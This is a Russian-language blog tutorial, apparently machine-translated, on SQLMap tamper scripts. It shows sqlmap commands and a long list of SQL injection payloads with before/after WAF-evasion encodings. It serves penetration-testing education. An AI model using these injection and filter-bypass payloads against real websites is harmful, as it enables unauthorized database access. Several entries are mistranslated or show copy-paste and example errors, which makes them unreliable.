Советы и рекомендации по эффективному тестированию на SQL-инъекции с помощью скриптов SQLMap Tamper Scripts

Здравствуйте, в этом посте я расскажу о скриптах для взлома SQLMap. Итак, что такое SQLMap? Что такое скрипты вскрытия в SQLMap? И как их можно использовать для обхода WAF? И т. д.

Введение

SQLMap – это инструмент для поиска и эксплуатации слабых мест в безопасности веб-сайтов и веб-приложений, связанных с взаимодействием с базами данных, в частности, уязвимостей SQL-инъекций. Отображение SQLMap показано на рисунке 1.

Советы и рекомендации по эффективному тестированию на SQL-инъекции с помощью скриптов SQLMap Tamper Scripts
Рисунок 1: Отображение SQLMap

При попытке осуществить SQL Injection на веб-сайте некоторые сайты имеют надежную защиту, включая тщательную проверку параметров и форм. Кроме того, на некоторых сайтах используется брандмауэр веб-приложений (WAF), который может затруднить тестировщикам проникновения использование сайта с помощью атак SQL Injection.

Советы и рекомендации по эффективному тестированию на SQL-инъекции с помощью скриптов SQLMap Tamper Scripts

Как же тестеры проникновения могут обойти эти меры безопасности с помощью SQLMap? SQLMap предлагает функцию, называемую скриптом вскрытия, которая позволяет модифицировать SQL-запрос, отправляемый на веб-сайт, таким образом, чтобы обойти санитарную обработку или даже WAF на сайте.

Пример

Ниже приведена простая команда, в которой я попытаюсь использовать скрипт взлома под названием space2comment, который удаляет пробелы в полезной нагрузке

sqlmap -u "https://example.com/delete.php?id=1" --level=1 --risk=1 --tamper space2comment

А это пример HTTP-запроса, когда я не использую скрипт взлома space2comment

GET /delete.php?id=1%20AND%209134=5770 HTTP/1.1
Cache-control: no-cache
User-agent: sqlmap/1.6.4#stable (https://sqlmap.org)
Host: example.com
Accept: */*
Accept-encoding: gzip,deflate
Connection: close

%20 – это эквивалент пробела (вам нужно декодировать его с помощью URLDecoder. А это пример HTTP-запроса, когда я использую скрипт для вскрытия space2comment

GET /delete.php?id=1/**/AND/**/9134=5770 HTTP/1.1
Cache-control: no-cache
User-agent: sqlmap/1.6.4#stable (https://sqlmap.org)
Host: example.com
Accept: */*
Accept-encoding: gzip,deflate
Connection: close

Видите разницу? %20 в предыдущем HTTP-запросе заменен на /**/, что позволит обойти фильтры на сайте, если пользовательский ввод не допускает пробелов. И это небольшой пример использования скриптов вскрытия в SQLMap. Следующий раздел – это список скриптов, которые мы можем использовать для SQL Injection с помощью SQLMap.

Сценарии вскрытия списков

Существует 69 скриптов для взлома, которые мы можем использовать, и вот их список:

  • 0eunion

Заменяет экземпляры UNION на e0UNION. Например:

-- First payload
1 UNION ALL SELECT

-- After using the tamper
1e0UNION ALL SELECT
  • apostrophemask

Заменяет символ апострофа (‘) на его полноразмерный аналог в UTF-8. Например:

-- First payload
1 AND '1'='1

-- After using the tamper
1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
  • apostrophenullencode

Заменяет символ апострофа (‘) на его полноразмерный аналог в UTF-8. Например:

-- First payload
1 AND '1'='1

-- After using the tamper
1 AND %00%271%00%27=%00%271
  • appendnullbyte

Добавляет (Access) символ байта NULL (%00) в конец полезной нагрузки. Например:

-- First payload
1 AND 1=1

-- After using the tamper
1 AND 1=1%00
  • base64encode

Добавляет (Access) символ байта NULL (%00) в конец полезной нагрузки. Например:

-- First payload
1' AND SLEEP(5)#

-- After using the tamper
MScgQU5EIFNMRUVQKDUpIw==
  • between

Заменяет оператор greater than (‘>’) на NOT BETWEEN 0 AND # и оператор equals (‘=’) на BETWEEN # AND #. Например:

-- First payload
1 AND A = B--

-- After using the tamper
1 AND A BETWEEN B AND B--
  • binary

По возможности вставляет бинарные ключевые слова. Например:

-- First payload
1 UNION ALL SELECT NULL, NULL, NULL

-- After using the tamper
1 UNION ALL SELECT binary NULL, binary NULL, binary NULL
  • bluecoat

Заменяет символ пробела после оператора SQL на допустимый случайный пустой символ. После этого замените знак равенства (‘=’) на оператор LIKE. Например:

-- First payload
SELECT id FROM users WHERE id = 1

-- After using the tamper
SELECT%09id FROM%09users WHERE%09id LIKE 1
  • chardoubleencode

Двойное URL-кодирование всех символов в заданной полезной нагрузке (без обработки уже закодированных). Например:

-- First payload
SELECT FIELD FROM TABLE

-- After using the tamper
%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
  • charencode

URL-кодирует все символы в заданной полезной нагрузке (без обработки уже закодированных). Например:

-- First payload
SELECT FIELD FROM TABLE

-- After using the tamper
%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
  • charunicodeencode

Unicode-URL – кодирует все символы в заданной полезной нагрузке (без обработки уже закодированных). Например:

-- First payload
SELECT FIELD FROM TABLE

-- After using the tamper
%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
  • charunicodeescape

Unicode – выделение некодированных символов в данной полезной нагрузке (без обработки уже закодированных). Например:

-- First payload
SELECT FIELD FROM TABLE

-- After using the tamper
\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045
  • commalesslimit

Заменяет (MySQL) такие экземпляры, как LIMIT M, N, на аналог LIMIT N OFFSET M. Например:

-- First payload
LIMIT 2, 3

-- After using the tamper
LIMIT 3 OFFSET 2
  • commalessmid

Заменяет (MySQL) экземпляры типа MID(A, B, C) на аналог MID(A FROM B FOR C). Например:

-- First payload
MID(VERSION(), 1, 1)

-- After using the tamper
MID(VERSION() FROM 1 FOR 1)
  • commentbeforeparentheses

Добавляет (inline) комментарий перед круглыми скобками. Например:

-- First payload
SELECT ABS(1)

-- After using the tamper
SELECT ABS/**/(1)
  • concat2concatws

Заменяет (MySQL) экземпляры типа CONCAT(A, B) на аналог CONCAT_WS(MID(CHAR(0), 0, 0), A, B). Например:

-- First payload
CONCAT(1,2)

-- After using the tamper
CONCAT_WS(MID(CHAR(0),0,0),1,2)
  • decentities

В HTML все символы кодируются в десятичном виде (с использованием кодовых точек). Например:

-- First payload
1' AND SLEEP(5)#

-- After using the tamper
1' AND SLEEP(5)#
  • dunion

Заменяет экземпляры UNION на DUNION. Например:

-- First payload
1 UNION ALL SELECT

-- After using the tamper
1DUNION ALL SELECT
  • equaltolike

Заменяет все вхождения оператора equal (‘=’) на аналог LIKE. Например:

-- First payload
SELECT * FROM users WHERE id=1

-- After using the tamper
SELECT * FROM users WHERE id LIKE 1
  • equaltorlike

Заменяет все вхождения оператора equal (‘=’) на аналог RLIKE. Например:

-- First payload
SELECT * FROM users WHERE id=1

-- After using the tamper
SELECT * FROM users WHERE id RLIKE 1
  • escapequotes

Косая черта позволяет избежать одинарных и двойных кавычек. Например:

-- First payload
1" AND SLEEP(5)#
1' AND SLEEP(5)#

-- After using the tamper
1\\" AND SLEEP(5)#
1\\' AND SLEEP(5)#
  • greatest

Заменяет оператор greater than (‘>’) на аналог GREATEST. Например:

-- First payload
1 AND A > B

-- After using the tamper
1 AND GREATEST(A,B+1)=A
  • halfversionedmorekeywords

Добавляет (MySQL) версионный комментарий перед каждым ключевым словом. Например:

-- First payload
' UNION ALL SELECT

-- After using the tamper
'/*!0UNION/*!0ALL/*!0SELECT
  • hex2char

Заменяет каждую строку в кодировке 0x (MySQL) на эквивалентный аналог CONCAT(CHAR(),…). Например:

-- First payload
SELECT 0xdeadbeef

-- After using the tamper
SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))
  • hexentities

В HTML все символы кодируются в шестнадцатеричном виде (с помощью кодовых точек). Например:

-- First payload
1' AND SLEEP(5)#

-- After using the tamper
1' AND SLEEP(5)#
  • htmlencode

HTML кодирует (с помощью кодовых точек) все неалфавитно-цифровые символы. Например:

-- First payload
1' AND SLEEP(5)#

-- After using the tamper
1' AND SLEEP(5)#
  • if2case

Заменяет примеры типа IF(A, B, C) на аналог CASE WHEN (A) THEN (B) ELSE (c) END. Например:

-- First payload
IF(1, 2, 3)

-- After using the tamper
CASE WHEN (1) THEN (2) ELSE (3) END
  • ifnull2casewhenisnull

Заменяет примеры типа IFNULL(A, B) на аналог CASE WHEN ISNULL(A) THEN (B) ELSE (A) END. Например:

-- First payload
IFNULL(1, 2)

-- After using the tamper
CASE WHEN ISNULL(1) THEN (2) ELSE (1) END
  • ifnull2ifisnull

Заменяет экземпляры типа IFNULL(A, B) на аналог IF(ISNULL(A), B, A). Например:

-- First payload
IFNULL(1, 2)

-- After using the tamper
IF(ISNULL(1),2,1)
  • informationschemacomment

Добавьте встроенный комментарий (/**/) в конец всех вхождений идентификатора (MySQL) information_schema. Например:

-- First payload
SELECT table_name FROM INFORMATION_SCHEMA.TABLES

-- After using the tamper
SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES
  • least

Заменяет оператор greater than (‘>’) на аналог LEAST. Например:

-- First payload
1 AND A > B

-- After using the tamper
1 AND LEAST(A,B+1)=B+1
  • lowercase

Заменяет каждый символ ключевого слова на значение в нижнем регистре. Например:

-- First payload
INSERT INTO

-- After using the tamper
insert into
  • luanginx

LUA-Nginx WAFs Bypass. Например:

-- First payload
1 AND 2>1

-- After using the tamper
34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1
  • misunion

Заменяет экземпляры UNION на -.1UNION . Например:

-- First payload
1 UNION ALL SELECT

-- After using the tamper
1-.1UNION ALL SELECT
  • modsecurityversioned

Воплощает полный запрос с версионным комментарием (MySQL). Например:

-- First payload
1 AND 2>1--

-- After using the tamper
1 /*!30963AND 2>1*/--
  • modsecurityzeroversioned

Воплощает полный запрос с нулевым комментарием (MySQL). Например:

-- First payload
1 AND 2>1--

-- After using the tamper
1 /*!00000AND 2>1*/--
  • multiplespaces

Добавляет несколько пробелов (‘ ‘) вокруг ключевых слов SQL. Например:

-- First payload
'1 UNION SELECT foobar

-- After using the tamper
'1     UNION     SELECT      foobar
  • ord2ascii

Заменяет встречающиеся ORD() на эквивалентные вызовы ASCII(). Например:

-- First payload
ORD('97')

-- After using the tamper
ASCII('97')
  • overlongutf8

Преобразует все (неалфавитные) символы в заданной полезной нагрузке в overlong UTF8 (без обработки уже закодированных). Например:

-- First payload
SELECT FIELD FROM TABLE WHERE 2>1

-- After using the tamper
SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1
  • overlongutf8more

Преобразует все символы в заданной полезной нагрузке в overlong UTF8 (без обработки уже закодированных). Например:

-- First payload
SELECT FIELD FROM TABLE WHERE 2>1

-- After using the tamper
%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1
  • percentage

Добавляет знак процента (‘%’) перед каждым символом. Например:

-- First payload
SELECT FIELD FROM TABLE

-- After using the tamper
%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
  • plus2concat

Заменяет оператор plus (‘+’) на аналог (MsSQL) функции CONCAT(). Например:

-- First payload
SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL

-- After using the tamper
SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL
  • plus2fnconcat

Заменяет оператор plus (‘+’) на аналог (MsSQL) ODBC-функции {fn CONCAT()}. Например:

-- First payload
SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL

-- After using the tamper
SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL
  • randomcase

Заменяет каждый символ ключевого слова на случайное значение регистра. Например:

-- First payload
INSERT INTO

-- After using the tamper
iNSeRt IntO
  • randomcomments

Добавьте произвольные встроенные комментарии внутри ключевых слов SQL. Например:

-- First payload
INSERT INTO

-- After using the tamper
I/**/NSE/**/RT INT/**/O
  • schemasplit

Разделяет идентификаторы схем FROM (например, testdb.users) пробелами. Например:

-- First payload
SELECT id FROM testdb.users

-- After using the tamper
SELECT id FROM testdb 9.e.users
  • scientific

Злоупотребляет научной нотацией MySQL. Например:

-- First payload
1 AND ORD(MID((CURRENT_USER()),7,1))>1

-- After using the tamper
1 AND ORD 1.e(MID((CURRENT_USER 1.e( 1.e) 1.e) 1.e,7 1.e,1 1.e) 1.e)>1
  • sleep2getlock

Заменяет такие случаи, как SLEEP(5), на (например) GET_LOCK(‘ETgP’,5). Например:

-- First payload
SLEEP(5)

-- After using the tamper
GET_LOCK('xxxx',5)
  • sp_password

Добавляет (MsSQL) функцию sp_password в конец полезной нагрузки для автоматической обфускации от логов СУБД. Например:

-- First payload
1 AND 9227=9227--

-- After using the tamper
1 AND 9227=9227-- sp_password
  • space2comment

Заменяет символ пробела (‘ ‘) на комментарий /**/

-- First payload
SELECT passwords FROM users

-- After using the tamper
SELECT/**/passwords/**/FROM/**/users
  • space2dash

Заменяет символ пробела (‘ ‘) на комментарий тире (‘- ‘), за которым следует произвольная строка и новая строка (‘\n’). Например:

-- First payload
1 AND 9227=9227

-- After using the tamper
1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227
  • space2hash

Заменяет (в MySQL) экземпляры символа пробела (‘ ‘) на символ фунта (‘#’), за которым следует случайная строка и новая строка (‘\n’). Например:

-- First payload
1 AND 9227=9227

-- After using the tamper
1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227
  • space2morecomment

Заменяет (MySQL) экземпляры символа пробела (‘ ‘) на комментарии /_/

-- First payload
SELECT passwords FROM users

-- After using the tamper
SELECT/**_**/passwords/**_**/FROM/**_**/users
  • space2morehash

Заменяет (в MySQL) экземпляры символа пробела (‘ ‘) на символ фунта (‘#’), за которым следует случайная строка и новая строка (‘\n’). Например:

-- First payload
1 AND 9227=9227

-- After using the tamper
1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227
  • space2mssqlblank

Заменяет (MsSQL) экземпляры символа пробела (‘ ‘) на случайный пустой символ из допустимого набора альтернативных символов. Например:

-- First payload
SELECT id FROM users

-- After using the tamper
SELECT%0Did%0DFROM%04users
  • space2mssqlhash

Заменяет символ пробела (‘ ‘) на символ фунта (‘#’), за которым следует новая строка (‘\n’). Например:

-- First payload
1 AND 9227=9227

-- After using the tamper
1%23%0AAND%23%0A9227=9227
  • space2mysqlblank

Заменяет (MySQL) экземпляры символа пробела (‘ ‘) на случайный пустой символ из допустимого набора альтернативных символов. Например:

-- First payload
SELECT id FROM users

-- After using the tamper
SELECT%A0id%0CFROM%0Dusers
  • space2mysqldash

Заменяет символ пробела (‘ ‘) на тире-комментарий (‘- ‘), за которым следует новая строка (‘\n’). Например:

-- First payload
1 AND 9227=9227

-- After using the tamper
1--%0AAND--%0A9227=9227
  • space2plus

Заменяет символ пробела (‘ ‘) на плюс (‘+’). Например:

-- First payload
SELECT id FROM users

-- After using the tamper
SELECT+id+FROM+users
  • space2randomblank

Заменяет символ пробела (‘ ‘) на случайный пустой символ из допустимого набора альтернативных символов. Например:

-- First payload
SELECT id FROM users

-- After using the tamper
SELECT%0Did%0CFROM%0Ausers
  • substring2leftright

Заменяет в PostgreSQL SUBSTRING на LEFT и RIGHT. Например:

-- First payload
SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)

-- After using the tamper
LEFT((SELECT usename FROM pg_user)::text,1)
  • symboliclogical

Заменяет логические операторы AND и OR их символьными аналогами (&& и ||). Например:

-- First payload
1 AND '1'='1

-- After using the tamper
1 && '1'='1
  • unionalltounion

Заменяет экземпляры UNION ALL SELECT на аналог UNION SELECT. Например:

-- First payload
1' UNION ALL SELECT

-- After using the tamper
1' UNION SELECT
  • unmagicquotes

Заменяет символ кавычек (‘) на многобайтовую комбинацию %BF%27 вместе с общим комментарием в конце. Например:

-- First payload
1' AND 1=1

-- After using the tamper
1%bf%27-- -
  • uppercase

Заменяет каждый символ ключевого слова на значение в верхнем регистре. Например:

-- First payload
insert into

-- After using the tamper
INSERT INTO
  • varnish

Добавляет HTTP-заголовок (например, X-originating-IP), чтобы обойти Varnish Firewall. Например:

X-Forwarded-For: 184.189.250.0
X-Originating-IP: 127.0.0.1
  • versionedkeywords

Заключает каждое нефункциональное ключевое слово в версионный комментарий (MySQL). Например:

-- First payload
1 UNION ALL SELECT

-- After using the tamper
1/*!UNION*//*!ALL*//*!SELECT
  • versionedmorekeywords

Заключает каждое ключевое слово в версионный комментарий (MySQL). Например:

-- First payload
1 UNION ALL SELECT

-- After using the tamper
1/*!UNION*//*!ALL*//*!SELECT
  • xforwardedfor

Добавьте фальшивый HTTP-заголовок (например, X-Forwarded-For ). Например:

X-Forwarded-For: 32.12.225.32

Этот список будет обновляться, если скрипты взлома будут удалены или добавлены в репозиторий SQLmap

Советы профессионалов

  • Прежде чем использовать скрипт для проверки SQLMap. Лучше всего сначала выяснить, какие символы фильтруются сайтом, который вы пытаетесь протестировать. Например, если сайт фильтрует пробельные символы, вы можете использовать space2comment или space2plus tamper. Или если ваш сайт принимает только base64, вы можете использовать base64encoding.
  • Вы можете использовать 2 или более скриптов тампера в одной команде, например, я хочу использовать space2comment и randomcomments:
sqlmap -u "https://example.com/delete.php?id=1" --level=1 --risk=1 --tamper space2comment,randomcomments
+1
0
+1
0
+1
0
+1
0
+1
0

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *